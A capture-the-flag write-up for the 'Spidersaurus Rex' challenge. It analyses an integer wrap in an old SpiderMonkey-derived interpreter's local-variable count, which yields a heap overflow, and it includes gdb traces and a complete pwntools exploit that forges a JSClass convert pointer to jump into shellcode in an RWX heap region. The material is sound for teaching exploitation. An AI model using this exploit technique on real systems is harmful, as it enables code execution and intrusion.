Writeup by JustAD3v for Spidersaurus Rex

pwn x86/x64 browser

November 1, 2026

Analysis

The challenge description gives a hint on the vulnerability and the patch gives an idea of which part of the code we should look at.

First, I followed the link from the description: https://github.com/ehsan/mozilla-cvs-history/commit/e3ba7ebdb650 leading to an old commit on JSRef project whose purpose was to fix a vulnerability related to the number of local variables in a function. In this commit we can see different changes similar to this one:

 if (clasp == &js_FunctionClass) {
     JS_ASSERT(sprop->getter == js_GetLocalVariable);
     JS_ASSERT((sprop->flags & SPROP_HAS_SHORTID) &&
-               sprop->shortid < fun->nvars);
+               (uint16) sprop->shortid < fun->nvars);
 } else if (clasp == &js_CallClass) {

Casting sprop->shortid of a variable to a uint16 type instead of uintN.

I did some further research on that bug, trying to find explanations that could help me with the challenge. However, even though it initially seemed related, it turns out that it did not address the exact same issue that I exploited in the challenge, so I did not investigate this historical bug any further.

Maybe I missed something or solved the challenge in an unintended way, but at least I did not rely on that for the rest of the solve.


So after that, I looked into the patch file given with the challenge. There are 3 major changes:

  • The main function allocates a large portion of memory on the heap with RWX protections. And calls the garbage collector (GC) to reset the state of the managed heap. The call to GC also prints the address of the heap break as it was done in the Spidersaurus challenge: before 4050, after 4041, break 58346000
 main(int argc, char **argv)
 {
@@ -1164,6 +1166,11 @@
     setbuf(stderr,0);
#endif

+    setvbuf(stdout, NULL, _IONBF, 0);
+    /* preparing future works: implement JIT compiler on Lunix */
+    JIT_buffer = (unsigned char *)malloc(PAGE_SIZE);
+    mprotect((void *)(((unsigned int)JIT_buffer) & 0xFFFFF000), -1, PROT_READ|PROT_WRITE|PROT_EXEC);
+
     version = JSVERSION_DEFAULT;
 #ifdef XP_UNIX
     while ((c = getopt(argc, argv, "v:")) != -1) {
@@ -1210,6 +1217,8 @@
     if (!JS_DefineProperties(cx, it, its_props))
       return 1;

+    GC(cx, NULL, 0, NULL, NULL);
+

The next two patches are in the JavaScript interpreter (file jsinterp.c):

  • The first change adds debug information in the js_Invoke function which is called when a JavaScript function call is triggered. It prints on stderr the value and address of some internal structures such as the function JSObject (funobj) or its internal JSClass (clasp).
    clasp = OBJ_GET_CLASS(cx, funobj);
    if (clasp != &js_FunctionClass) {
        /* Function is inlined, all other classes use object ops. */
+       print_hex((unsigned int)funobj->slots);
+       print_hex((unsigned int)clasp);
+       print_hex((unsigned int)clasp->convert);
+       print_hex(*(unsigned int *)(clasp->convert));
        ops = funobj->map->ops;

Note that clasp->convert and the value it points to are printed and then clasp->convert is called as a function in following lines. This will be useful later.

  • The second one is in the js_Interpret function. This function is the core of the opcode dispatch loop. It prints on stderr some debug info in a specific opcode case: JSOP_SETVAR, which is responsible for setting the value of local variables in functions.
        vp = &fp->vars[slot];
        GC_POKE(cx, *vp);
        *vp = sp[-1];
+       if (slot == 0) print_hex((unsigned int)vp);
        break;

There is an interesting check on those lines :

case JSOP_SETVAR:
    obj = NULL;
    slot = (uintN)GET_VARNO(pc);
    PR_ASSERT(slot < fp->fun->nvars);
    vp = &fp->vars[slot];
    GC_POKE(cx, *vp);
    *vp = sp[-1];
    if (slot == 0) print_hex((unsigned int)vp); // line added by the patch
    break;

Notice the PR_ASSERT(slot < fp->fun->nvars); where the slot (acting like the “id” or the “index”) of the local variable is compared to the number of variables in the current function (fp->fun). This assert is meant to prevent out of bound read/writes on fp->vars. However, looking at its definition in the code we can see that since DEBUG mode is not used, this PR_ASSERT actually does nothing:

#ifdef DEBUG
#define PR_ASSERT(ex) ((ex) ? (void)0 : pr_AssertBotch(#ex, __FILE__, __LINE__))
#else
#define PR_ASSERT(ex) /* nothing */
#endif

Note: If you look back at the patch diff file of Spidersaurus you can notice that PR_ASSERT used in those specific cases were actually replaced by assert.

This is very probably to prevent us from exploiting the same vulnerability on both challenges. This notice is not very useful to solve the challenge but I think it gives one more hint that this part plays a role in the vulnerability. From this we can guess that we will probably exploit a way to make slot > fp->fun->nvars at some point.


With those three patches we have a RWX buffer on the heap, a native function call with some debug information and faulty safety checks. These are all important information that we will rely on for later exploitation but where is the vulnerability exactly?

To better understand where it is and how to exploit it, let’s dive a little more into how the interpreter works.

Understanding the code

Here is a higher level view of how the engine processes a JavaScript script and may call our functions of interest:

flowchart TD
    A["main()"] --> B["Process()"]

    subgraph Compilation["Parsing / Compilation "]
        B --> C["JsCompileTokenStream()"]
        C --> D["GenerateScript()"]
        D --> E["JS_ExecuteScript()"]
    end

    subgraph Runtime["JavaScript Runtime"]
        E --> F["js_Execute()"]
        F --> G["Set stack frame"]
        G --> H["js_Interpret()"]
    end

    subgraph Dispatch["Opcode Dispatch"]
        H --> I{"Switch on JS opcodes"}
        I --> J["JSOP_CALL"]
        I --> L["JSOP_SETVAR"]
        J --> K["js_Invoke(argc=nb_args)"]
        L --> M["if (slot == 0) print_hex((unsigned int)vp)"]
    end

    classDef entry fill:#dbeafe,stroke:#2563eb,color:#1e3a8a
    classDef compile fill:#dcfce7,stroke:#16a34a,color:#14532d
    classDef runtime fill:#fef3c7,stroke:#d97706,color:#78350f
    classDef dispatch fill:#f3e8ff,stroke:#9333ea,color:#581c87

    class A,B entry
    class C,D,E compile
    class F,G,H runtime
    class I,J,K,L,M dispatch

While Spidersaurus exploited a vulnerability in the parsing/compilation process, this challenge focuses on a runtime vulnerability. More specifically we will look at how functions are handled during bytecode interpretation.

As many of the things we deal with in JavaScript, functions are JSObject. Here are some definitions of this structure and some of its members (defined in jsobj.h and jsscope.h):

struct JSObject {
 JSObjectMap *map;
 jsval *slots;
};

struct JSObjectMap {
 jsrefcount refs; /* count of all referencing objects */
 JSObjectOps *ops; /* high level object operation vtable */
 uint32 nslots; /* length of obj->slots vector */
 uint32 freeslot; /* index of next free obj->slots element */
};

struct JSScope {
 JSObjectMap map; /* base class state */
 JSObject *object; /* object that owns this scope */
 JSScopeProperty *props; /* property list in definition order */
 JSScopeProperty **proptail; /* pointer to pointer to last prop */
 JSScopeOps *ops; /* virtual operations */
 void *data; /* private data specific to ops */
};

Where a JSObjectMap can be casted into a JSScope that describes the “shape” of an object and holds the descriptions of the object’s properties. A slots is just an array of jsval containing the actual value of properties. The idea of splitting a JavaScript object representation into a “map/properties” and “slots/elements” is a pretty common structure in the different javascript engines and I used this old V8 blog post as a reference to understand the main ideas behind it: https://v8.dev/blog/fast-properties

So now that we know more about JavaScript objects, we can look into what a JSFunction looks like:

struct JSFunction {
    jsrefcount     nrefs;        /* number of referencing objects */
    JSObject     *object;       /* back-pointer to GC'ed object header */
    JSNative     call;          /* native method pointer or null */
    uint8        nargs;         /* minimum number of actual arguments */
    uint8        flags;         /* bound method and other flags, see jsapi.h */
    uint16       extra;         /* number of arg slots for local GC roots */
    uint16       nvars;         /* number of local variables */
    uint16       spare;         /* reserved for future use */
    JSAtom       *atom;         /* name for diagnostics and decompiling */
    JSScript     *script;       /* interpreted bytecode descriptor or null */
};

We can see that the number of local variables is stored in the nvars field as a uint16. We can also take a closer look at how function variables are parsed during the compilation phase in the Variables function of jsparse.c:

if (getter == js_GetLocalVariable) {
    sprop = (JSScopeProperty *)prop;
    sprop->id = INT_TO_JSVAL(fun->nvars++);
}

Each local variable of a function is created as a JSObject and associated to a JSScopeProperty with an id set to the number of the variable. We can see that for each local variable, fun->nvars is incremented. However there is no check for an overflow on the value.

So what happens if a function has fun->nvars = 65535 and a new local variable is parsed? fun->nvars would be incremented and wrapped around back to fun->nvars = 0. This is the bug!

Vulnerability

That becomes dangerous when it comes to allocating the necessary space to store those variables in the function’s stackframe. Indeed, when a function is called, js_Invoke is executed and sets up a JSStackFrame structure for the current function:

struct JSStackFrame {
    JSObject        *callobj;       /* lazily created Call object */
    JSObject        *argsobj;       /* lazily created arguments object */
    JSScript        *script;        /* script being interpreted */
    JSFunction      *fun;           /* function being called or null */
    JSObject        *thisp;         /* "this" pointer if in method */
    uintN           argc;           /* actual argument count */
    jsval           *argv;          /* base of argument stack slots */
    jsval           rval;           /* function return value */
    uintN           nvars;          /* local variable count */
    jsval           *vars;          /* base of variable stack slots */
    JSStackFrame    *down;          /* previous frame */
    void            *annotation;    /* used by Java security */
    JSObject        *scopeChain;    /* scope chain */
    jsbytecode      *pc;            /* program counter */
    jsval           *sp;            /* stack pointer */
    uintN           sharpDepth;     /* array/object initializer depth */
    JSObject        *sharpArray;    /* scope for #n= initializer vars */
    JSPackedBool    constructing;   /* true if called via new operator */
    uint8           overrides;      /* bit-set of overridden Call properties */
    JSPackedBool    debugging;      /* true if for JS_EvaluateInStackFrame */
    JSPackedBool    exceptPending;  /* is there an uncaught exception? */
    jsval           exception;      /* most-recently-thrown exception */
};

This structure is chained in a linked list to track function calls and holds a lot of information about the current function. Especially it contains the stack pointer sp which is a pointer into a large buffer allocated on the heap.

So js_Invoke starts by initialising and allocating a stack (in the heap) with sufficient space for the arguments and local variables. You can see a part of the process in the following lines:

/* Check for missing arguments expected by the function. */
    nslots = (intN)((argc < minargs) ? minargs - argc : 0);
    if (nslots) {
    /* All arguments must be contiguous, so we may have to copy actuals. */
    nalloc = nslots;
    if ((pruword)(sp + nslots) > cx->stackPool.current->limit)
        nalloc += argc;

    /* Take advantage of the surplus slots in the caler's frame depth. */
    surplus = (jsval *)mark - sp;
    PR_ASSERT(surplus >= 0);
    nalloc -= surplus;

    /* Check whether we have enough space in the caller's frame. */
    if (nalloc > 0) {
        /* Need space for actuals plus missing formals minus surplus. */
        newsp = js_AllocStack(cx, (uintN)nalloc, NULL);
        if (!newsp) {
        ok = JS_FALSE;
        goto out;
        }

        /* If we couldn't allocate contiguous args, copy actuals now. */
        if (newsp != mark) {
        if (argc)
            memcpy(newsp, frame.argv, argc * sizeof(jsval));
        frame.argv = newsp;
        frame.vars = frame.sp = newsp + argc;
        RESTORE_SP(&frame);
        }
    }

    /* Advance frame.vars to make room for the missing args. */
    frame.vars += nslots;

    /* Push void to initialize missing args. */
    while (--nslots >= 0)
        PUSH(JSVAL_VOID);
    }

    /* ====================================== VULNERABLE PART ======================================== */
    /* Now allocate stack space for local variables. */
    nslots = (intN)frame.nvars;
    if (nslots) {
    surplus = (intN)((jsval *)cx->stackPool.current->avail - frame.vars);
    if (surplus < nslots) {
        newsp = js_AllocStack(cx, (uintN)nslots, NULL);
        if (!newsp) {
        ok = JS_FALSE;
        goto out;
        }
        if (newsp != sp) {
        /* NB: Discontinuity between argv and vars. */
        frame.vars = frame.sp = newsp;
        RESTORE_SP(&frame);
        }
    }
    /* ====================================== =============== ======================================== */

Here the problem is that the space allocated for local variables relies on frame.nvars which is set earlier in the function with:

nvars = fun->nvars;
...
frame.nvars = nvars;

But we’ve just seen that a function with 65536 variables would have fun->nvars = 0. Therefore, no space for the variables would be allocated. However instructions to interact with those variables were already added to the function’s bytecode! Especially it can contain opcodes to write their value on the js stack. For example the JSOP_SETVAR we have seen before:

case JSOP_SETVAR:
    obj = NULL;
    slot = (uintN)GET_VARNO(pc);
    PR_ASSERT(slot < fp->fun->nvars); // does nothing
    vp = &fp->vars[slot]; // fp->vars is intially set to fp->sp, points into the allocated function stack
    GC_POKE(cx, *vp);
    *vp = sp[-1]; // writes variable value into memory
    if (slot == 0) print_hex((unsigned int)vp); // prints address of first local variable
    break;

How does that affect the heap in practice?

The details for stack allocation can be found in the js_AllocStack function. But in practice we can directly look in memory how big the allocated buffer is and where it is allocated.

I created a first PoC with a JavaScript file defining a function with 65536 variables:

 nvars = 65536
 declarations = [f"v{i}" for i in range(nvars)]
 assignements = [f"v{i} = {i}" for i in range(nvars)]

 template = (
     "function exploit() {\n"
     f"  var {', '.join(declarations)};\n"    
     f"  {';\n  '.join(assignements)};\n"    
     "}\n"
     "exploit()"
)

with open("exploit.js", "w") as f:
    f.write(template)
    f.close()

Then, putting a breakpoint on the JSOP_SETVAR write operation in gdb, I could see where fp->vars was pointing to:

0x56577a8a <js_Interpret+8714>     mov    dword ptr [ecx + eax*4], edx // $ecx is fp->vars and $eax is slot
pwndbg> x/20dwx $ecx-0x2c
0x67fa3bd8:     0x00000000      0x00002021      0x00000000      0x67fa3bf0
0x67fa3be8:     0x67fa5bf3      0x67fa3c18      0x67fa3ba6      0x67fa3ba9
0x67fa3bf8:     0x67fa3b9e      0x565cd590      0x565cca10      0x565cd584
malloc-chunk $ecx-0x2c
PREV_INUSE
Addr: 0x67fa3bd8
Size: 0x2020 (with flag bits: 0x2021)

So the buffer is 0x2020 bytes long but fp->vars starts at ecx = 0x67fa3c04 so there is: 0x2020 - (0x67fa3c04 - 0x67fa3bd8) = 8180 bytes for local variables. But we actually have 65536 variables of 4 bytes each. That means, after the 2045th variable we have a 65536 * 4 - 8180 = 253964 bytes overflow on the heap! And the content of this buffer at offset i is simply the value of the ith variable!

Exploitation

Execution hijacking

Now we have an OOB write primitive on the heap! How do we turn that into code execution? The second patch gives a hint. Remember the clasp->convert that is being printed and then called in js_Invoke?

    clasp = OBJ_GET_CLASS(cx, funobj);
    if (clasp != &js_FunctionClass) {
    /* Function is inlined, all othr classes use object ops. */

    print_hex((unsigned int)funobj->slots); // added by the patch
    print_hex((unsigned int)clasp); // added by the patch
    print_hex((unsigned int)clasp->convert); // added by the patch
    print_hex(*(unsigned int *)(clasp->convert)); // added by the patch
    ops = funobj->map->ops;

    /* Try converting to function, for closure and API compatibility. */
    ok = clasp->convert(cx, funobj, JSTYPE_FUNCTION, &v);

This path triggers when (clasp != &js_FunctionClass) that means when the object we are trying to call is actually not a function. There are some valid cases where that happens but it could also be triggered in invalid cases. For example I tried with this simple JavaScript code:

obj = {}; obj();

And the debug prints were triggered!

└─$ echo "obj = {}; obj();" | ./spidersaurus-rex 
before 4050, after 4041, break 576cb000
576BFD70
566A3C7C
566383B0
08EC8353
js: obj is not a function

What if, using the heap overflow, we could control clasp of a JSObject to make it point to controlled executable code?

That’s what I searched for. After some tries and research of malloc usage in the code I found a pretty interesting target: the slots!

Indeed, when a new JSObject is created, its slots array is a buffer malloced on the heap. And it happens that objects created in the current JavaScript function trigger slots allocations that are after the current stack buffer. That means we can overflow into it with our OOB write!

When first introducing JSObject earlier, I didn’t mention it but in fact, the first slots of a JSObject are reserved for special values defined in jsobj.h:

#define JSSLOT_PROTO        0
#define JSSLOT_PARENT       1
#define JSSLOT_CLASS        2
#define JSSLOT_PRIVATE      3

The third slot,JSSLOT_CLASS, stores a reference to the JSClass of the object, that is the clasp in js_Invoke!

Here is how this structure looks like:

struct JSClass {
    char                *name;
    uint32              flags;

    /* Mandatory non-null function pointer members. */
    JSPropertyOp        addProperty;
    JSPropertyOp        delProperty;
    JSPropertyOp        getProperty;
    JSPropertyOp        setProperty;
    JSEnumerateOp       enumerate;
    JSResolveOp         resolve;
    JSConvertOp         convert; // the pointer we need to replace to trigger code exec
    JSFinalizeOp        finalize;

    /* Optionally non-null members start here. */
    ...
};

convert is the 9th field. Knowing this, we can create a fake JSClass structure inside the buffer we control, with convert set to an address we want to jump into. Then we just have to find the right offset to overwrite the clasp pointer of one of the variables. Every offset can be found relative to the address of the break leaked at the beginning.

Note: No specific libc or environment was provided so I just assumed the environment was the same as described in Spidersaurus, that is: debian 13 on amd64 with libc:i386. I’ve set all of that in a container to find every needed offsets in the challenge.

Important details:

  • The values we set to the variables does not actually match the actual value present in memory. This is because every jsvalue encodes the actual value and its type with a tag. Here is the definition of some of those tags:
/*
 * Type tags stored in the low bits of a jsval.
 */
#define JSVAL_OBJECT            0x0     /* untagged reference to object */
#define JSVAL_INT               0x1     /* tagged 31-bit integer value */
#define JSVAL_DOUBLE            0x2     /* tagged reference to double */
#define JSVAL_STRING            0x4     /* tagged reference to string */
#define JSVAL_BOOLEAN           0x6     /* tagged boolean value */

And here is an example of how the values are encoded/decoded:

#define JSVAL_TO_INT(v)         ((jsint)(v) >> 1)
#define INT_TO_JSVAL(i)         (((jsval)(i) << 1) | JSVAL_INT)

So if we want to store the value 0xdeadbeef in memory we have to set the variable with value 0xdeadbeef >> 1 so when encoded it becomes 0xdeadbeef | TAG. Note that you can’t avoid the bits of the tag so if you set an INT variable for example, its lowest bit will always be 1. For more complex types such as Objects or Strings, the value stored in memory is actually a pointer to the GC alloced object encoded with the tag. In my case I exclusively used INT variables to be able to choose the content.

  • I had to write my variables and fake objects after the 10th variable because I noticed that something is alloced at the beginning of the buffer, overwritting the first variables.

Shellcode setup

Now we can redirect execution to whatever address we want. But where actually?

The RWX memory region and the second hint from the description: “A JavaScript string can contain arbitrary binary content, for example, \u9090\u9090” draws a pretty clear idea: SHELLCODE !

Curious about the hint, I created a recognizable string in a JavaScript file and searched where it was allocated with gdb. It turned out that a string created before the function is called, is allocated in the RWX memory directly and always at a constant offset from the heap break! Therefore, we just have to create a string with our shellcode as content and adjust the clasp->convert to point to it!

To find the exact offset I used again the container with the reproduced environment and searched for the bytes of “flag” since the shellcode contains the string “flag.txt” to open the file :

(gdb) info proc mappings
process 85
Mapped address spaces:

Start Addr End Addr   Size       Offset     Perms File 
0x5656f000 0x56572000 0x3000     0x0        r--p  /chall/spidersaurus-rex 
0x56572000 0x565c0000 0x4e000    0x3000     r-xp  /chall/spidersaurus-rex 
0x565c0000 0x565df000 0x1f000    0x51000    r--p  /chall/spidersaurus-rex 
0x565df000 0x565e0000 0x1000     0x6f000    r--p  /chall/spidersaurus-rex 
0x565e0000 0x565e2000 0x2000     0x70000    rw-p  /chall/spidersaurus-rex 
0x575f4000 0x57616000 0x22000    0x0        rwxp  [heap] 
0x57616000 0x733c9000 0x1bdb3000 0x0        rw-p  [heap] 
(gdb) find 0x575f4000, 0x57616000, 0x67616c66
0x57607f3b
0x5760954b
2 patterns found.
(gdb) x/20i 0x5760954b-0x10
   0x5760953b:  nop
   0x5760953c:  nop
   0x5760953d:  nop
   0x5760953e:  nop
   0x5760953f:  nop
   0x57609540:  push   $0x1
   0x57609542:  decb   (%esp)
   0x57609545:  push   $0x7478742e
   0x5760954a:  push   $0x67616c66
   0x5760954f:  mov    %esp,%ebx
   0x57609551:  xor    %ecx,%ecx
   0x57609553:  push   $0x5
   0x57609555:  pop    %eax
   0x57609556:  int    $0x80
    ...

So we can jump at 0x5760954b-0x10 = 0x5760953b which is at offset 0x57616000 - 0x5760953b = 0xcac5 from the heap break.

Since we don’t have interactive access to the process I used a shellcode that simply reads the content of the flag file and writes it to stdout.

Note: I added some padding with nop operations before and after the shellcode because the encoding of jsvalues made the addresses unaligned.

Summary

Here is the final exploit script and a visual summary of what the heap looks like:

#!/usr/bin/env python

from pwn import *
import struct 

HOST = "localhost"
PORT = 4000
EXPLOIT = "final_exploit.js"

context.arch = 'i386'

GDBSCRIPT = ""

def get_p():
    p = remote(HOST, PORT)
    return p
    
def bytes_to_utf16(data):
    return ''.join(
        f'\\u{int.from_bytes(data[i:i+2], "little"):04x}'
        for i in range(0, len(data) - 1, 2)
    )

def build_exploit(stack_add, shellcode_add):
    offset = (0x20a0//4) + 2

    shellcode = shellcraft.cat("flag.txt")

    shellcode = b"\x90"*4*8 + asm(shellcode) + b"\x90"
    log.info(f"shellcode: {shellcode}, len={len(shellcode)}")

    nvars = 65536
    declarations = [f"v{i}" for i in range(nvars)]
    assignements = [f"v{i} = {i}" for i in range(nvars)]
    assignements[0+12] = 'v12 = {"b": 12};' 
    assignements[1+12] = 'v13 = {"a": 1}' 
    # variable at offset of the slot
    # let's us modify memory at this offset 
    # and change slots[2] = pointer to JSClass object
    # make it point to begining of buffer = chunk+2*4 = fake JSClass struct
    assignements[offset] = f"v{offset} = {(stack_add + 2*4) >> 1}"

    # write fake JSClass struct from 3rd variable = chunk+2*8
    convert_offset = 2 + 8
    assignements[convert_offset] = f"v{convert_offset} = {shellcode_add >> 1}"

    template = (
    f"var str = '{bytes_to_utf16(shellcode)}';\n"
    "function exploit() {\n"
    f"  var {', '.join(declarations)};\n"    
    f"  {';\n  '.join(assignements)};\n"    
    "  v13();\n"
    "}\n"
    "exploit()"
    )

    with open(EXPLOIT, "w") as f:
        f.write(template)
        f.close()


p = get_p()

leak = p.recvline()
breakadd = int(leak.split(b"break ")[1].split(b"\n")[0], 16)
log.info(f"Break add : {hex(breakadd)}")

stack_add = breakadd + 0x119ba120
shellcode_add = breakadd - 0xcac5

build_exploit(stack_add, shellcode_add)

with open(EXPLOIT, "rb") as f:
    exp = f.read()

p.send(exp)

p.shutdown('send')

resp = p.recvall()
print(resp)

FLAG: FCSC{e3b0c442....